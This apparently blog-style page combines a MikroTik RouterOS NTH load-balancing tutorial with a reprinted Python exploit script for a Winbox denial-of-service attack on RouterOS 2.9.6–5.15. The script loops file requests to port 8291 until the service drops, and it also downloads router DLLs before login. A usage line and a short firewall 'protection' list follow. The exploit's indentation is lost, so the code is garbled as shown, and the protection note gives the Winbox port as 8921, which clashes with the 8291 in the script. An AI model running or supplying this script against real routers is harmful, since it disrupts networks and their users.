How to Load balancing Mikrotik - NTH mode

Introduction

This example is improved (different) version of round-robin load balancing example. It adds persistent user sessions, i.e. a particular user would use the same source IP address for all outgoing connections. Consider the following network layout:

Quick Start for Impatient

Configuration export from the gateway router:

/ ip address
add address=192.168.0.1/24 network=192.168.0.0 broadcast=192.168.0.255 interface=Local 
add address=10.111.0.2/24 network=10.111.0.0 broadcast=10.111.0.255 interface=wlan2
add address=10.112.0.2/24 network=10.112.0.0 broadcast=10.112.0.255 interface=wlan1

/ ip firewall mangle
add chain=prerouting src-address-list=odd in-interface=Local action=mark-connection \
  new-connection-mark=odd passthrough=yes 
add chain=prerouting src-address-list=odd in-interface=Local action=mark-routing \
  new-routing-mark=odd passthrough=no
add chain=prerouting src-address-list=even in-interface=Local action=mark-connection \
  new-connection-mark=even passthrough=yes 
add chain=prerouting src-address-list=even in-interface=Local action=mark-routing \
  new-routing-mark=even passthrough=no
add chain=prerouting in-interface=Local connection-state=new nth=2,1 \ 
    action=mark-connection new-connection-mark=odd passthrough=yes
add chain=prerouting in-interface=Local action=add-src-to-address-list \
  address-list=odd address-list-timeout=1d connection-mark=odd passthrough=yes 
add chain=prerouting in-interface=Local connection-mark=odd action=mark-routing \ 
    new-routing-mark=odd passthrough=no
add chain=prerouting in-interface=Local connection-state=new nth=2,2 \ 
    action=mark-connection new-connection-mark=even passthrough=yes
add chain=prerouting in-interface=Local action=add-src-to-address-list \
  address-list=even address-list-timeout=1d connection-mark=even passthrough=yes 
add chain=prerouting in-interface=Local connection-mark=even action=mark-routing \ 
    new-routing-mark=even passthrough=no

/ ip firewall nat 
add chain=srcnat out-interface=wlan1 action=masquerade
add chain=srcnat out-interface=wlan2 action=masquerade

/ ip route 
add dst-address=0.0.0.0/0 gateway=10.111.0.1 scope=255 target-scope=10 routing-mark=odd
add dst-address=0.0.0.0/0 gateway=10.112.0.1 scope=255 target-scope=10 routing-mark=even 
add dst-address=0.0.0.0/0 gateway=10.112.0.1 scope=255 target-scope=10 

Explanation

First we give a code snippet and then explain what it actually does.

IP Addresses

/ ip address 
add address=192.168.0.1/24 network=192.168.0.0 broadcast=192.168.0.255 interface=Local
add address=10.111.0.2/24 network=10.111.0.0 broadcast=10.111.0.255 interface=wlan2 
add address=10.112.0.2/24 network=10.112.0.0 broadcast=10.112.0.255 interface=wlan1 

The router has two upstream (WAN) interfaces with the addresses of 10.111.0.2/24 and 10.112.0.2/24. The LAN interface has the name "Local" and IP address of 192.168.0.1/24.

Mangle

/ ip firewall mangle 
add chain=prerouting src-address-list=odd in-interface=Local action=mark-connection \
  new-connection-mark=odd passthrough=yes 
add chain=prerouting src-address-list=odd in-interface=Local action=mark-routing \
  new-routing-mark=odd 

All traffic from customers having their IP address previously placed in the address list "odd" is instantly marked with connection and routing marks "odd". Afterwards the traffic is excluded from processing against successive mangle rules in prerouting chain.

/ ip firewall mangle 
add chain=prerouting src-address-list=even in-interface=Local action=mark-connection \
  new-connection-mark=even passthrough=yes 
add chain=prerouting src-address-list=even in-interface=Local action=mark-routing \
  new-routing-mark=even 

Same stuff as above, only for customers having their IP address previously placed in the address list "even".

/ ip firewall mangle 
add chain=prerouting in-interface=Local connection-state=new nth=2,1 \ 
    action=mark-connection new-connection-mark=odd passthrough=yes
add chain=prerouting in-interface=Local action=add-src-to-address-list \
  address-list=odd address-list-timeout=1d connection-mark=odd passthrough=yes 
add chain=prerouting in-interface=Local connection-mark=odd action=mark-routing \ 
    new-routing-mark=odd passthrough=no

First we take every second packet that establishes new session (note connection-state=new), and mark it with connection mark "odd". Consequently all successive packets belonging to the same session will carry the connection mark "odd". Note that we are passing these packets to the second and third rules (passthrough=yes). Second rule adds IP address of the client to the address list to enable all successive sessions to go through the same gateway. Third rule places the routing mark "odd" on all packets that belong to the "odd" connection and stops processing all other mangle rules for these packets in prerouting chain.

/ ip firewall mangle 
add chain=prerouting in-interface=Local connection-state=new nth=2,2 \ 
    action=mark-connection new-connection-mark=even passthrough=yes
add chain=prerouting in-interface=Local action=add-src-to-address-list \
  address-list=even address-list-timeout=1d connection-mark=even passthrough=yes 
add chain=prerouting in-interface=Local connection-mark=even action=mark-routing \ 
    new-routing-mark=even passthrough=no

These rules do the same for the remaining half of the traffic as the first three rules for the first half of the traffic.
The code above effectively means that each new connection initiated through the router from the local network will be marked as either "odd" or "even" with both routing and connection marks.
The above works fine. There are however some situations where you might find that the same IP address is listed under both the ODD and EVEN scr-address-lists. This behavior causes issues with apps that require persistent connections. A simple remedy for this situation is to add the following statement to your mangle rules:

add chain=prerouting in-interface=Local connection-state=new nth=2,2 \ 
    src-address-list=!odd action=mark-connection new-connection-mark=even \
    passthrough=yes

This will ensure that the new connection will not already be part of the ODD src-address-list. You will have to do the same for the ODD mangle rule thus excluding IP's already part of the EVEN scr-address-list.

NAT

/ ip firewall nat 
add chain=srcnat out-interface=wlan1 action=masquerade
add chain=srcnat out-interface=wlan2 action=masquerade

Fix the source address according to the outgoing interface.

Routing

/ ip route 
add dst-address=0.0.0.0/0 gateway=10.111.0.1 scope=255 target-scope=10 routing-mark=odd 
add dst-address=0.0.0.0/0 gateway=10.112.0.1 scope=255 target-scope=10 routing-mark=even

For all traffic marked "odd" (consequently having 10.111.0.2 translated source address) we use 10.111.0.1

gateway. In the same manner all traffic marked "even" is routed through the 10.112.0.1 gateway.

/ ip route
add dst-address=0.0.0.0/0 gateway=10.112.0.1 scope=255 target-scope=10

Finally, we have one additional entry specifying that traffic from the router itself (the traffic without any routing marks) should go to 10.112.0.1 gateway.

 note:
http://wiki.mikrotik.com/wiki/NTH_load_balancing_with_masquerade

attack DoS Mikrotik RouterOS 2.9.6 - 5.15

Script Python : from http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

http://www.exploit-db.com/exploits/18817/

#!/usr/bin/python

# Exploit Title:    Mikrotik Router Remote Denial Of Service attack

# Date:             19/4/2012

# Author:           PoURaN @ 133tsec.com

# Software Link:    http://www.mikrotik.com

# Version:          All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)

# Tested on:        Mikrotis RouterOS 2.9.6 up to 5.15

#

#  Vulnerability Description

# ===========================

# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

# The denial of service, happens on mikrotik router's winbox service when

# the attacker is requesting continuesly a part of a .dll/plugin file, so the service

# becomes unstable causing every remote clients (with winbox) to disconnect

# and denies to accept any further connections. That happens for about 5 minutes. After

# the 5 minutes, winbox is stable again, being able to accept new connections.

# If you send the malicious packet in a loop (requesting  part of a file right after

# the service becoming available again) then you result in a 100% denial of winbox service.

# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%

# and other actions. The "other actions" depends on the router version and on the hardware.

# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure

#   => Mikrotik Router v2.9.6 there was a BGP failure

#   => Mikrotik Router v4.13 unstable wifi links

#   => Mikrotik Router v5.14/5.15 rarely stacking

#   =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=

#

#

#  The exploit

# =============

# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins

# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE

# user login!

# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).

# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one

# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.

# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they

# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)

# These DLLs can be used by the "Winbox remote code execution" exploit script ;)

#

#  Usage

# =======

# Use the script as described below:

# 1. You can download ALL the files of the router's dll index using the following command:

#   python mkDl.py 10.0.0.1 * 1

#   the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving

#   information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use

#   a slower speed ( 9 for example ).

#   Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)

# 2. You can download a specific .dll file from the remote router.

#   python mkDl.py 10.67.162.1 roteros.dll 1

#   In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)

#   Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)

#   That is a restriction of winbox communication protocol.

#   If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c

#   to stop the script.

# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)

#   python mkDl.py 10.67.162.1 DoS

#   This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request

#   and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)

#   Then it waits till the service is up again (using some exception handling), then it requests again till the remote

#   service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about

#   5 minutes as far as i have seen from my tests in different routeros versions.

#

#   <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>

#

import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024)         # receiving dll index from server

time.sleep(0.001*speed)

if data.find("\xFF\x02"+"index"+"\x00") > -1:

print "[+] Index received!"

else:

print "[+] Wrong index.. Exiting.."

sys.exit(0)

return s

def download(filename, speed, s):

f = open(filename, 'wb')

if len(filename) < 13 and len(filename) > 6:

print "[+] Requesting file ", filename, ' <->'

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001*speed)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

print "[+] Receiving the file..."

f.write(dataReceived)                       # written 1st byte

time.sleep(0.001*speed)

dataReceived = s.recv(0x101)                # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001*speed)

f.write(dataReceived)                   # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f.write(dataReceived)                   # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.

while 1:                                # header of file done.. Now LOOP the body..

packetsCounted+=1   # dbg

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

if (bytesToRead <> len(dataReceived)) and packetsCounted==255:    # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume

packetsCounted = -1

print '[+] Next file part : ', fileRequested

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))

time.sleep(0.001*speed)

dataReceived = s.recv(0x101 + 2)            # Reads the new header of the new part!!!

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

f.write(dataReceived)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)

fileRequested += 1

bigFileCounter -= 0x13

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)      # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..

if bytesToRead==0xFF:           # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei

bytesToRead += 2

if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

break

if bytesToRead != 0x101 and nextPartFingerprint==65517:     # ligotera bytes KAI fingerprint 65517 simainei corrupted file..

print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'

sys.exit(0)

if fileRequested < 1:    print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'

else:   print '[+] File '+filename+' downloaded successfully'

f.close()

s.close()

def Flood(s):

filename = 'roteros.dll'

f = 'we\'r not gonna use I/O to store the data'

print "[+] Requesting file ", filename, ' till death :)'

time.sleep(1)

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

f = dataReceived                        # written 1st byte

time.sleep(0.001)

dataReceived = s.recv(0x101)                # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001)

f = dataReceived                    # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f = dataReceived                    # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.

try:

while 1:

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))

s.recv(1)

print '- Sending evil packet.. press CTRL-C to stop -'

except:

print 'Connection reseted by server.. trying attacking again'

###############################################################################################################

########################################### SCRIPT BODY STARTS HERE ###########################################

global RequestHeader

RequestHeader = ('\x12\x02')

global RequestFirstFooter

RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')

global winboxStartingIndex

winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)

winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)

print '\n[Winbox plugin downloader]\n\n'

if len(sys.argv)==3:

if sys.argv[2]=='DoS':                          # if i combine both checks in 1st if, there will be error.. guess why.. ;)

print '[+] Hmmm we gonna attack it..'

time.sleep(1)

speed=1

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

while 1:

time.sleep(1)

try:

s = InitConnection(mikrotikIP, speed)

Flood(s)

except:

time.sleep(1)

if len(sys.argv)<>4:

print 'Usage : '+sys.argv[0]+' \n\t:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'

sys.exit(0)

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

speed = int(sys.argv[3])

if speed>9 or speed<1:

print 'Speed must be between 1 and 9 else there are unexpected results!'

sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024)         # receiving dll index from server

s.close()

if filename.find('*') > -1:

DllList = data.split('\x0a')

print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'

for i in range(0, len(DllList)-1):

print DllList[i].split(' ')[2]

raw_input('> Press enter to continue <')

for extractedDlls in range(0, len(DllList)-1):

print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]

filename=DllList[extractedDlls].split(' ')[2]

s = InitConnection(mikrotikIP, speed)

download(filename, speed, s)

else:

s = InitConnection(mikrotikIP, speed)

    download(filename, speed, s)


 

---------

howto used:  #python mikrotikdos.py dos
 

------


How to protected :


1. change port 8921 (winbox) to others port (ex: 8999)
2. make script protected firewall, ex:


add action=add-src-to-address-list address-list=DDOS address-list-timeout=15s \
chain=input disabled=no dst-port=1337 protocol=tcp
add action=add-src-to-address-list address-list=DDOS address-list-timeout=15m \
chain=input disabled=no dst-port=7331 protocol=tcp src-address-list=knock
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”Port scanners to list ” \
disabled=no protocol=tcp psd=21,3s,3,1
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/FIN scan” disabled=no \
protocol=tcp tcp-flags=fin,syn
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/RST scan” disabled=no \
protocol=tcp tcp-flags=syn,rst
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”FIN/PSH/URG scan” disabled=\
no protocol=tcp tcp-flags=fin,psh,urg,!syn,!rst,!ack
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”ALL/ALL scan” disabled=no \
protocol=tcp tcp-flags=fin,syn,rst,psh,ack,urg
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”NMAP NULL scan” disabled=no \
protocol=tcp tcp-flags=!fin,!syn,!rst,!psh,!ack,!urg